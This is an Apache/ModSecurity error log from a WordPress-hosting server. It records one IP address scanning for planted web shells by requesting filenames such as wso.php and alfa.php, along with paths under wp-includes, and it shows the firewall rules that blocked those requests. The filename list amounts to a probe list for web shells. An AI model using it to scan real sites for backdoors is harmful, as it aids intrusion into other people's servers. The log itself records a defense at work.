[Fri May 22 04:02:38.053809 2026] [:error] [pid 49480:tid 49498] [client 52.242.199.195:3406] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/goods.php"] [unique_id "ag9k3s7gnnlW660htkYVUwAAANA"]
[Fri May 22 04:02:43.326040 2026] [:error] [pid 49392:tid 49464] [client 52.242.199.195:16447] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/"] [unique_id "ag9k496KX5mDbYUc-fvAsQAAAI4"]
[Fri May 22 04:02:46.166892 2026] [:error] [pid 49391:tid 49441] [client 52.242.199.195:64912] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/"] [unique_id "ag9k5oOYSn6xUjFbpXKaPgAAAFI"]
[Fri May 22 04:02:52.980806 2026] [:error] [pid 49392:tid 49470] [client 52.242.199.195:9664] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/"] [unique_id "ag9k7N6KX5mDbYUc-fvAzwAAAJQ"]
[Fri May 22 04:02:58.229918 2026] [:error] [pid 49480:tid 49482] [client 52.242.199.195:8842] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Fri May 22 04:02:58.438517 2026] [:error] [pid 49480:tid 49506] [client 52.242.199.195:8842] File does not exist: /usr/local/apache/htdocs/suspended-page/sf.php
[Fri May 22 04:02:59.669359 2026] [:error] [pid 49480:tid 49490] [client 52.242.199.195:8842] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri May 22 04:03:00.253614 2026] [:error] [pid 49480:tid 49487] [client 52.242.199.195:8842] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri May 22 04:03:00.867172 2026] [:error] [pid 49480:tid 49486] [client 52.242.199.195:8842] File does not exist: /usr/local/apache/htdocs/suspended-page/tes.php
[Fri May 22 04:03:01.055457 2026] [:error] [pid 49480:tid 49482] [client 52.242.199.195:8842] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/index.php"] [unique_id "ag9k9c7gnnlW660htkYVnwAAAMA"]
[Fri May 22 04:03:03.790673 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:7613] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/index.php"] [unique_id "ag9k987gnnlW660htkYVqgAAAMk"]
[Fri May 22 04:03:16.647926 2026] [:error] [pid 49480:tid 49499] [client 52.242.199.195:62391] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/index.php"] [unique_id "ag9lBM7gnnlW660htkYV4gAAANE"]
[Fri May 22 04:03:27.056252 2026] [:error] [pid 49391:tid 49447] [client 52.242.199.195:22445] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "ag9lD4OYSn6xUjFbpXKaygAAAFg"]
[Fri May 22 04:03:32.393565 2026] [:error] [pid 49480:tid 49503] [client 52.242.199.195:16480] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "ag9lFM7gnnlW660htkYWHAAAANU"]
[Fri May 22 04:03:50.777841 2026] [:error] [pid 49390:tid 49402] [client 52.242.199.195:3921] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/images/about.php"] [unique_id "ag9lJkfnx7H5csWqCDAbNwAAAAc"]
[Fri May 22 04:04:02.423454 2026] [:error] [pid 49480:tid 49506] [client 52.242.199.195:11786] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri May 22 04:04:02.679845 2026] [:error] [pid 49480:tid 49482] [client 52.242.199.195:11786] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri May 22 04:04:03.081799 2026] [:error] [pid 49480:tid 49483] [client 52.242.199.195:11786] [client 52.242.199.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.199.195, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ag9lM87gnnlW660htkYWhgAAAME"]
[Fri May 22 04:04:03.086091 2026] [:error] [pid 49480:tid 49483] [client 52.242.199.195:11786] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 22 04:04:03.281461 2026] [:error] [pid 49480:tid 49497] [client 52.242.199.195:11786] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Fri May 22 04:04:03.931380 2026] [:error] [pid 49480:tid 49487] [client 52.242.199.195:11786] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri May 22 04:04:04.119861 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:11786] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ag9lNM7gnnlW660htkYWjwAAAMk"]
[Fri May 22 04:04:11.085836 2026] [:error] [pid 49391:tid 49441] [client 52.242.199.195:11821] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Fri May 22 04:04:11.434475 2026] [:error] [pid 49391:tid 49435] [client 52.242.199.195:11821] File does not exist: /usr/local/apache/htdocs/suspended-page/o.php
[Fri May 22 04:04:11.623686 2026] [:error] [pid 49391:tid 49432] [client 52.242.199.195:11821] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bb.php"] [unique_id "ag9lO4OYSn6xUjFbpXKbJgAAAEk"]
[Fri May 22 04:04:13.536878 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:63562] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bb.php"] [unique_id "ag9lPc7gnnlW660htkYWrgAAAMk"]
[Fri May 22 04:04:18.066054 2026] [:error] [pid 49480:tid 49482] [client 52.242.199.195:63570] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bb.php"] [unique_id "ag9lQs7gnnlW660htkYWxAAAAMA"]
[Fri May 22 04:04:20.987859 2026] [:error] [pid 49392:tid 49470] [client 52.242.199.195:2008] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bb.php"] [unique_id "ag9lRN6KX5mDbYUc-fvBigAAAJQ"]
[Fri May 22 04:04:23.765992 2026] [:error] [pid 49390:tid 49407] [client 52.242.199.195:62423] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ag9lR0fnx7H5csWqCDAbUgAAAAw"]
[Fri May 22 04:04:27.334328 2026] [:error] [pid 49480:tid 49486] [client 52.242.199.195:11765] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ag9lS87gnnlW660htkYW5AAAAMQ"]
[Fri May 22 04:04:29.603874 2026] [:error] [pid 49390:tid 49417] [client 52.242.199.195:1221] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ag9lTUfnx7H5csWqCDAbWAAAABY"]
[Fri May 22 04:04:49.970648 2026] [:error] [pid 49390:tid 49412] [client 52.242.199.195:2202] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/"] [unique_id "ag9lYUfnx7H5csWqCDAbcgAAABE"]
[Fri May 22 04:04:54.389042 2026] [:error] [pid 49390:tid 49419] [client 52.242.199.195:22496] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ag9lZkfnx7H5csWqCDAbfQAAABg"]
[Fri May 22 04:05:00.936358 2026] [:error] [pid 49480:tid 49506] [client 52.242.199.195:8208] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmrlpc.php"] [unique_id "ag9lbM7gnnlW660htkYXHAAAANg"]
[Fri May 22 04:05:02.697803 2026] [:error] [pid 49480:tid 49505] [client 52.242.199.195:8965] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmrlpc.php"] [unique_id "ag9lbs7gnnlW660htkYXIgAAANc"]
[Fri May 22 04:05:05.107977 2026] [:error] [pid 49390:tid 49403] [client 52.242.199.195:11800] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmrlpc.php"] [unique_id "ag9lcUfnx7H5csWqCDAbggAAAAg"]
[Fri May 22 04:05:07.667626 2026] [:error] [pid 49391:tid 49424] [client 52.242.199.195:8169] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmrlpc.php"] [unique_id "ag9lc4OYSn6xUjFbpXKbXQAAAEE"]
[Fri May 22 04:05:12.051991 2026] [:error] [pid 49392:tid 49451] [client 52.242.199.195:64618] File does not exist: /usr/local/apache/htdocs/suspended-page/epinyins.php
[Fri May 22 04:05:12.657730 2026] [:error] [pid 49392:tid 49474] [client 52.242.199.195:64618] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ag9leN6KX5mDbYUc-fvB1gAAAJg"]
[Fri May 22 04:05:15.859941 2026] [:error] [pid 49391:tid 49432] [client 52.242.199.195:64178] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri May 22 04:05:16.248082 2026] [:error] [pid 49391:tid 49438] [client 52.242.199.195:64178] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ag9lfIOYSn6xUjFbpXKbbQAAAE8"]
[Fri May 22 04:05:24.520361 2026] [:error] [pid 49391:tid 49427] [client 52.242.199.195:11711] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/admin.php"] [unique_id "ag9lhIOYSn6xUjFbpXKbcQAAAEQ"]
[Fri May 22 04:05:29.150027 2026] [:error] [pid 49391:tid 49436] [client 52.242.199.195:3867] File does not exist: /usr/local/apache/htdocs/suspended-page/ok.php
[Fri May 22 04:05:29.341581 2026] [:error] [pid 49391:tid 49423] [client 52.242.199.195:3867] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Fri May 22 04:05:29.532288 2026] [:error] [pid 49391:tid 49424] [client 52.242.199.195:3867] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Fri May 22 04:06:51.021360 2026] [:error] [pid 15585:tid 15657] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri May 22 04:06:51.262485 2026] [:error] [pid 15585:tid 15655] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri May 22 04:06:51.671512 2026] [:error] [pid 15585:tid 15661] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Fri May 22 04:06:52.463301 2026] [:error] [pid 15585:tid 15661] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Fri May 22 04:06:52.653790 2026] [:error] [pid 15585:tid 15664] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri May 22 04:06:53.603771 2026] [:error] [pid 15585:tid 15670] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/gelay.php
[Fri May 22 04:06:54.012423 2026] [:error] [pid 15585:tid 15671] [client 52.242.199.195:2843] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri May 22 04:06:54.199989 2026] [:error] [pid 15585:tid 15655] [client 52.242.199.195:2843] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9l3iKb-vB41AF-LC0e7gAAAIg"]
[Fri May 22 04:06:57.675399 2026] [:error] [pid 15583:tid 15598] [client 52.242.199.195:63786] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9l4XnaOncRcIm17YVfWQAAAAo"]
[Fri May 22 04:07:02.715103 2026] [:error] [pid 15585:tid 15661] [client 52.242.199.195:9749] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9l5iKb-vB41AF-LC0fEgAAAI4"]
[Fri May 22 04:07:08.253799 2026] [:error] [pid 15583:tid 15606] [client 52.242.199.195:9883] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9l7HnaOncRcIm17YVfXgAAABI"]
[Fri May 22 04:07:16.850703 2026] [:error] [pid 15583:tid 15606] [client 52.242.199.195:9880] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "ag9l9HnaOncRcIm17YVfsgAAABI"]
[Fri May 22 04:07:36.202106 2026] [:error] [pid 15679:tid 15694] [client 52.242.199.195:29208] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9mCCh8tgGc38WJ-GxGDQAAAM0"]
[Fri May 22 04:07:37.798864 2026] [:error] [pid 15585:tid 15671] [client 52.242.199.195:63505] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9mCSKb-vB41AF-LC0fZQAAAJg"]
[Fri May 22 04:07:39.934791 2026] [:error] [pid 15583:tid 15598] [client 52.242.199.195:8881] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9mC3naOncRcIm17YVfzQAAAAo"]
[Fri May 22 04:07:42.904640 2026] [:error] [pid 15585:tid 15650] [client 52.242.199.195:29284] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9mDiKb-vB41AF-LC0fZwAAAIM"]
[Fri May 22 04:07:47.662287 2026] [:error] [pid 15679:tid 15696] [client 52.242.199.195:12183] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9mEyh8tgGc38WJ-GxGJQAAAM8"]
[Fri May 22 04:07:53.205087 2026] [:error] [pid 15583:tid 15611] [client 52.242.199.195:22445] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9mGXnaOncRcIm17YVf5AAAABc"]
[Fri May 22 04:07:55.303734 2026] [:error] [pid 15583:tid 15595] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Fri May 22 04:07:55.513443 2026] [:error] [pid 15583:tid 15600] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/vv.php
[Fri May 22 04:07:55.948542 2026] [:error] [pid 15583:tid 15612] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Fri May 22 04:07:56.531027 2026] [:error] [pid 15583:tid 15608] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri May 22 04:07:56.721971 2026] [:error] [pid 15583:tid 15590] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri May 22 04:07:56.914270 2026] [:error] [pid 15583:tid 15607] [client 52.242.199.195:29276] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Fri May 22 04:07:57.293115 2026] [:error] [pid 15583:tid 15598] [client 52.242.199.195:29276] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ag9mHXnaOncRcIm17YVf8QAAAAo"]
[Fri May 22 04:07:59.908965 2026] [:error] [pid 15584:tid 15639] [client 52.242.199.195:64588] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ag9mH99Z_TVLbNEx52hgAQAAAFM"]
[Fri May 22 04:08:07.595432 2026] [:error] [pid 15679:tid 15692] [client 52.242.199.195:11597] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ag9mJyh8tgGc38WJ-GxGMwAAAMs"]
[Fri May 22 04:08:11.759569 2026] [:error] [pid 15583:tid 15595] [client 52.242.199.195:3398] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ag9mK3naOncRcIm17YVf9gAAAAc"]
[Fri May 22 04:08:19.034652 2026] [:error] [pid 15585:tid 15647] [client 52.242.199.195:11288] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ag9mMyKb-vB41AF-LC0ffAAAAIA"]
[Fri May 22 04:08:22.698971 2026] [:error] [pid 15585:tid 15653] [client 52.242.199.195:11616] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ag9mNiKb-vB41AF-LC0ffwAAAIY"]
[Fri May 22 04:08:28.181343 2026] [:error] [pid 15679:tid 15689] [client 52.242.199.195:11608] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ag9mPCh8tgGc38WJ-GxGQgAAAMg"]
